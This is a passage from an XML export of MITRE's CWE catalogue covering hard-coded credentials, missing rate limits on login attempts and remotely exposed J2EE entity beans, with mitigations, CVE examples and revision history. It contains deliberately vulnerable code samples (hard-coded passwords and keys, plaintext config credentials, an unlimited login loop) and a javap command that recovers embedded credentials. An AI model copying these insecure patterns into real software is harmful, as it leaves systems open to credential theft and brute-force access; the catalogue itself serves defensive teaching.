					          <Mitigation_Description>
						            <Text>For outbound authentication: store passwords, keys, and other
							credentials outside of the code in a strongly-protected, encrypted
							configuration file or database that is protected from access by all
							outsiders, including other local users on the same system. Properly
							protect the key (CWE-320). If you cannot use encryption to protect the
							file, then make sure that the permissions are as restrictive as possible
							[R.798.1].</Text>
						            <Text>In Windows environments, the Encrypted File System (EFS) may provide
							some protection.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For inbound authentication: Rather than hard-code a default username
							and password, key, or other authentication credentials for first time
							logins, utilize a "first login" mode that requires the user to enter a
							unique strong password or key.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If the software must contain hard-coded credentials or they cannot be
							removed, perform access control checks and limit which entities can
							access the feature that requires the hard-coded credentials. For
							example, a feature might only be enabled through the system console
							instead of through a network connection.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For inbound authentication using passwords: apply strong one-way
							hashes to passwords and store those hashes in a configuration file or
							database with appropriate access control. That way, theft of the
							file/database still requires the attacker to try to crack the password.
							When handling an incoming password during authentication, take the hash
							of the password and compare it to the saved hash.</Text>
						            <Text>Use randomly assigned salts for each separate hash that is generated.
							This increases the amount of computation that an attacker needs to
							conduct a brute-force attack, possibly limiting the effectiveness of the
							rainbow table method.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For front-end to back-end connections: Three solutions are possible,
							although none are complete.</Text>
						            <Block Block_Nature="List">
							              <Text>The first suggestion involves the use of generated passwords or
								keys that are changed automatically and must be entered at given
								time intervals by a system administrator. These passwords will be
								held in memory and only be valid for the time intervals.</Text>
							              <Text>Next, the passwords or keys should be limited at the back end to
								only performing actions valid for the front end, as opposed to
								having full access.</Text>
							              <Text>Finally, the messages sent should be tagged and checksummed with
								time sensitive values so as to prevent replay-style attacks.</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-13">
					          <Intro_Text>The following code uses a hard-coded password to connect to a
						database:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>DriverManager.getConnection(url, "scott", "tiger");</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This is an example of an external hard-coded password on the
							client-side of a connection. This code will run successfully, but anyone
							who has access to it will have access to the password. Once the program
							has shipped, there is no going back from the database user "scott" with
							a password of "tiger" unless the program is patched. A devious employee
							with access to this information can use it to break into the system.
							Even worse, if attackers have access to the bytecode for application,
							they can use the javap -c command to access the disassembled code, which
							will contain the values of the passwords used. The result of this
							operation might look something like the following for the example
							above:</Text>
						            <Block Block_Nature="Attack">
							              <Code>javap -c ConnMngr.class</Code>
							              <Block>
								                <Code>22: ldc #36; //String jdbc:mysql://ixne.com/rxsql</Code>
								                <Code>24: ldc #38; //String scott</Code>
								                <Code>26: ldc #17; //String tiger</Code>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-14">
					          <Intro_Text>The following code is an example of an internal hard-coded password
						in the back-end:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int VerifyAdmin(char *password) {</Code>
							              <Block>
								                <Code>if (strcmp(password, "Mew!")) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>printf("Incorrect Password!\n");</Code>
									                  <Code>return(0)</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>printf("Entering Diagnostic Mode...\n");</Code>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>int VerifyAdmin(String password) {</Code>
							              <Block>
								                <Code>if (passwd.Equals("Mew!")) {</Code>
								                <Block>
									                  <Code>return(0)</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>//Diagnostic Mode</Code>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Every instance of this program can be placed into diagnostic mode with
							the same password. Even worse is the fact that if this program is
							distributed as a binary-only distribution, it is very difficult to
							change that password or disable this "functionality."</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-92">
					          <Intro_Text>The following code examples attempt to verify a password using a
						hard-coded cryptographic key. The cryptographic key is within a hard-coded
						string value that is compared to the password and a true or false value is
						returned for verification that the password is equivalent to the hard-coded
						cryptographic key.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int VerifyAdmin(char *password) {</Code>
							              <Block>
								                <Code>if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b"))
									{</Code>
								                <Block>
									                  <Code/>
									                  <Code>printf("Incorrect Password!\n");</Code>
									                  <Code>return(0);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>printf("Entering Diagnostic Mode...\n");</Code>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public boolean VerifyAdmin(String password) {</Code>
							              <Block>
								                <Code>if (password.equals("68af404b513073584c4b6f22b6c63e6b"))
									{</Code>
								                <Block>
									                  <Code>System.out.println("Entering Diagnostic Mode...");</Code>
									                  <Code>return true;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>System.out.println("Incorrect Password!");</Code>
								                <Code>return false;</Code>
							              </Block>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>int VerifyAdmin(String password) {</Code>
							              <Block>
								                <Code>if (password.Equals("68af404b513073584c4b6f22b6c63e6b"))
									{</Code>
								                <Block>
									                  <Code>Console.WriteLine("Entering Diagnostic Mode...");</Code>
									                  <Code>return(1);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>Console.WriteLine("Incorrect Password!");</Code>
								                <Code>return(0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-43">
					          <Intro_Text>The following examples show a portion of properties and
						configuration files for Java and ASP.NET applications. The files include
						username and password information but they are stored in
						plaintext.</Intro_Text>
					          <Example_Body>
						            <Text>This Java example shows a properties file with a plaintext username /
							password pair.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment># Java Web App ResourceBundle properties file</Comment>
							              <Code>...</Code>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following example shows a portion of a configuration file for an
							ASP.Net application. This configuration file includes username and
							password information for a connection to a database but the pair is
							stored in plaintext.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=password; dbalias=uDB;"
								providerName="System.Data.Odbc" /&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Username and password information should not be included in a
							configuration file or a properties file in plaintext as this will allow
							anyone who can read the file access to the resource. If possible,
							encrypt this information and avoid CWE-260 and CWE-13.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2772</Observed_Example_Reference>
					          <Observed_Example_Description>SCADA system uses a hard-coded password to protect
						back-end database containing authorization information, exploited by Stuxnet
						worm</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2073</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server library uses hard-coded usernames and
						passwords for three default accounts</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-1573</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Router firmware uses hard-coded username
						and password for access to debug functionality, which can be used to execute
						arbitrary code</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2369</Observed_Example_Reference>
					          <Observed_Example_Description>Server uses hard-coded authentication
						key</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0961</Observed_Example_Reference>
					          <Observed_Example_Description>Backup product uses hard-coded username and
						password, allowing attackers to bypass authentication via the RPC
						interface</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1160</Observed_Example_Reference>
					          <Observed_Example_Description>Security appliance uses hard-coded password
						allowing attackers to gain root access</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-7142</Observed_Example_Reference>
					          <Observed_Example_Description>Drive encryption product stores hard-coded
						cryptographic keys for encrypted configuration files in executable
						programs</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3716</Observed_Example_Reference>
					          <Observed_Example_Description>VoIP product uses unchangeable hard-coded public
						credentials that cannot be changed, which allows attackers to obtain
						sensitive information</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3803</Observed_Example_Reference>
					          <Observed_Example_Description>VoIP product uses hard coded public and private
						SNMP community strings that cannot be changed, which allows remote attackers
						to obtain sensitive information </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0496</Observed_Example_Reference>
					          <Observed_Example_Description>Backup product contains hard-coded credentials
						that effectively serve as a back door, which allows remote attackers to
						access the file system</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.798.1">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 8, "Key Management Issues" Page
						272</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.798.2">
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 11 - Hardcoded
						Credentials</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-10</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/10/top-25-series-rank-11-hardcoded-credentials/</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Never hard code sensitive information</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>188</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>189</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>190</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>191</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>192</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>70</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-01-15</Submission_Date>
					          <Submission_Comment>More abstract entry for hard-coded password and hard-coded
						cryptographic key.</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="799" Name="Improper Control of Interaction Frequency" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly limit the number or frequency of
					interactions that it has with an actor, such as the number of incoming
					requests.</Description_Summary>
				        <Extended_Description>
					          <Text>This can allow the actor to perform actions more frequently than expected.
						The actor could be a human or an automated process such as a virus or bot.
						This could be used to cause a denial of service, compromise program logic
						(such as limiting humans to a single vote), or other consequences. For
						example, an authentication routine might not limit the number of times an
						attacker can guess a password. Or, a web site might conduct a poll but only
						expect humans to vote a maximum of once a day.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>438</Relationship_Target_ID>
					          <!--Behavioral Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Insufficient anti-automation</Term>
					          <Alternate_Term_Description>
						            <Text>The term "insufficient anti-automation" focuses primarly on non-human
							actors such as viruses or bots, but the scope of this CWE entry is
							broader.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Brute force</Term>
					          <Alternate_Term_Description>
						            <Text>Vulnerabilities that can be targeted using brute force attacks are
							often symptomatic of this weakness.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following code a username and password is read from a socket
						and an attempt is made to authenticate the username and password. The code
						will continuously checked the socket for a username and password until it
						has been authenticated. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>char username[USERNAME_SIZE];</Code>
							              <Code>char password[PASSWORD_SIZE];</Code>
							              <Code/>
							              <Code>while (isValidUser == 0) {</Code>
							              <Block>
								                <Code>if (getNextMessage(socket, username, USERNAME_SIZE) &gt; 0)
									{</Code>
								                <Block>
									                  <Code>if (getNextMessage(socket, password, PASSWORD_SIZE) &gt;
										0) {</Code>
									                  <Block>
										                    <Code>isValidUser = AuthenticateUser(username,
											password);</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>return(SUCCESS);</Code>
						            </Block>
						            <Text>This code does not place any restriction on the number of
							authentication attempts made. There should be a limit on the number of
							authentication attempts made to prevent brute force attacks as in the
							following example code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int count = 0;</Code>
							              <Code>while ((isValidUser == 0) &amp;&amp; (count &lt; MAX_ATTEMPTS))
								{</Code>
							              <Block>
								                <Code>if (getNextMessage(socket, username, USERNAME_SIZE) &gt; 0)
									{</Code>
								                <Block>
									                  <Code>if (getNextMessage(socket, password, PASSWORD_SIZE) &gt;
										0) {</Code>
									                  <Block>
										                    <Code>isValidUser = AuthenticateUser(username,
											password);</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>count++;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>if (isValidUser) {</Code>
							              <Block>
								                <Code>return(SUCCESS);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code>return(FAIL);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1876</Observed_Example_Reference>
					          <Observed_Example_Description>Mail server allows attackers to prevent other
						users from accessing mail by sending large number of rapid
						requests.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Web Application Security Consortium</Reference_Author>
					          <Reference_Title>Insufficient Anti-automation</Reference_Title>
					          <Reference_Link>http://projects.webappsec.org/Insufficient+Anti-automation</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insufficient Anti-Automation </Mapped_Node_Name>
					          <Mapped_Node_ID>21</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-01-15</Submission_Date>
					          <Submission_Comment>New entry to handle anti-automation as identified in
						WASC.</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="8" Name="J2EE Misconfiguration: Entity Bean Declared Remote" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>When an application exposes a remote interface for an entity
					bean, it might also expose methods that get or set the bean's data. These
					methods could be leveraged to read sensitive information, or to change data in
					ways that violate the application's expectations, potentially leading to other
					vulnerabilities.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>4</Relationship_Target_ID>
					          <!--J2EE Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Other_Notes>
				        <Note>
					          <Text>Entity beans that expose a remote interface become part of an
						application's attack surface. For performance reasons, an application should
						rarely use remote entity beans, so there is a good chance that a remote
						entity bean declaration is an error.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Declare Java beans "local" when possible. When a bean must be remotely
							accessible, make sure that sensitive information is not exposed, and
							ensure that the application logic performs appropriate validation of
							any data that might be modified by an attacker.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;ejb-jar&gt;</Code>
							              <Block>
								                <Code>&lt;enterprise-beans&gt;</Code>
								                <Block>
									                  <Code>&lt;entity&gt;</Code>
									                  <Block>
										                    <Code>&lt;ejb-name&gt;EmployeeRecord&lt;/ejb-name&gt;</Code>
										                    <Code>&lt;home&gt;com.wombat.empl.EmployeeRecordHome&lt;/home&gt;</Code>
										                    <Code>&lt;remote&gt;com.wombat.empl.EmployeeRecord&lt;/remote&gt;</Code>
										                    <Code>...</Code>
									                  </Block>
									                  <Code>&lt;/entity&gt;</Code>
								                </Block>
								                <Code>...</Code>
								                <Code>&lt;/enterprise-beans&gt;</Code>
							              </Block>
							              <Code>&lt;/ejb-jar&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>J2EE Misconfiguration: Unsafe Bean
						Declaration</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="80" Name="Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
